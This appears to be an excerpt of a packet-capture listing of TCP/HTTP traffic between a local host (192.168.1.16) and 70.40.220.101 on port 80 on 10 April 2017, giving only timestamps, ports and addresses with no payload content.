Apr 10, 2017 10:41:48.874135017 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874142885 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874149084 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874156952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874164104 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874171972 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874177933 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874185085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874845982 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:48.874864101 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874874115 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874880075 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874887943 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874893904 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874902964 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874908924 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874917030 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874922991 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874931097 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874937057 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874944925 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874950886 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874958992 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874964952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.880563974 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:49.084450960 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:49.084541082 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:49.288451910 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:49.288563967 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:49.696444035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:49.696510077 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:50.512444019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:50.512516022 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.076858044 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.076898098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076917887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076936007 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076947927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076951981 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076957941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076963902 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076967955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076973915 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.076981068 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077085018 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.077100039 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077109098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077115059 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077121973 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077128887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077136040 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077140093 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077146053 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077152967 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077157021 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077162981 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077169895 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077177048 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077183962 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077188015 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077193022 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077199936 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077208042 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077214956 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077222109 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077929974 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.077955008 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077972889 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077980042 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077987909 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.077994108 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078001022 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078008890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078023911 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078031063 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078042030 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078048944 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078061104 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078067064 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078074932 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078082085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.078485966 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.280458927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.280550003 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.484453917 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.484560966 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:51.892456055 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:51.892546892 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:52.708442926 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:52.708534002 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:53.295819044 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:53.295840025 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295850992 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295856953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295864105 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295867920 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295874119 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295881987 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295888901 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295896053 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295902967 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295964956 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:53.295977116 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295984030 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295989990 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.295996904 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296003103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296020985 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296025991 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296032906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296041965 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:53.296525955 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:57.531861067 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:58.911178112 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:58.911199093 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.326843023 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.326878071 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.327080011 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.447724104 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.447747946 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.728542089 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.728566885 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.728581905 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.728688955 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.746711016 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.746740103 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.746748924 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.746846914 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.750250101 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.750341892 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.751940966 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.751976967 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.751986980 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.752057076 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.753853083 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.754091978 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.764890909 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.764914989 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.764929056 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.764986992 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.901546955 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.901571035 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.901604891 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.901663065 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.901921988 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.901951075 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.902031898 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.902149916 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.902167082 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.902178049 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.902226925 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.905186892 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.905214071 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.905224085 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.905325890 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.919456959 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.919569969 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.919764042 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.919791937 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.919804096 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.919843912 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.923228979 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.923365116 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.928879976 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:09.937172890 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.937197924 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.937216043 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:09.937282085 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.074804068 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.074836016 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.074845076 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.075028896 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.075678110 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.075707912 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.075737000 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.075790882 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.076411009 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.076497078 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.077702045 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.077719927 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.077724934 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.077806950 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.077923059 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.078423977 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.078454971 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.078464031 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.078922987 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.081934929 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.082011938 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.094245911 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.094269037 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.094281912 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.094347000 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.095046043 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.095148087 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.095612049 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.095629930 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.095647097 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.095757008 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.096451044 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.096482038 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.096494913 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.096565962 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.097084045 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.097168922 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.097244978 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.097259998 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.097270966 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.097318888 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.099566936 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.099636078 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.099682093 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.103236914 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.103271008 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.103283882 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.103368044 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.111546993 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.111663103 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.152273893 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.152515888 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.247952938 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.247984886 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.248013973 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.248123884 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.248963118 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.248981953 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.248994112 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249075890 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.249202967 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249260902 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.249814987 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249833107 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249845028 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249938011 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.249959946 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249974966 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.249994993 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.250022888 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.250324011 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.250341892 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.250449896 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.250467062 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.250570059 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.251521111 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.251537085 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.251544952 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.251645088 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.251938105 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.251955986 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.251971960 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.252048969 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.252490997 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.252505064 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.252592087 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.254726887 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.264631987 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.264657021 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.264700890 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.264870882 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.265240908 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.265265942 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.265274048 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.265424013 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.265458107 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.265517950 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.265991926 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266026974 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266047955 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266141891 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.266231060 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266252041 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266263008 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.266308069 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.268121958 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.268703938 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.281016111 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.283865929 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
